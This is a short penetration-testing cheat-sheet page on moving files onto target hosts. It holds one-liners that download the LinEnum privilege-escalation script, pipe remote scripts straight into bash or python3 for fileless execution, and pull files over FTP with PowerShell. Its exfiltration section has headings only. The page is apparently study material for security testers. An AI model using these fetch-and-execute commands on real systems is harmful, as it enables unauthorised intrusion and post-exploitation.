File Transfers
File Transfer Methods
When transferring files to Linux, use /dev/shm (which operates in memory) or /tmp (temporary storage). On Windows, the equivalent temporary directories are TEMP or TMP.
HTTP
python3 -m http.server 80
ruby -run -e httpd . -p 80Download using wget & cURL
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# Fileless Download
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
# Note: Some payloads such as mkfifo write files to disk.FTP
pip3 install pyftpdlib
python3 -m pyftpdlib --port 21
ftp <IP>
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\Users\Public\ftp-file.txt')Servers
SCP
Certutil
Powershell
RDP
SMB
NXC
Exfiltration
Outbound Port Connectivity
Verify if outbound port connectivity is restricted, as this is key for maintaining access or exfiltrating data. To test, run:
Via DNS
Last updated
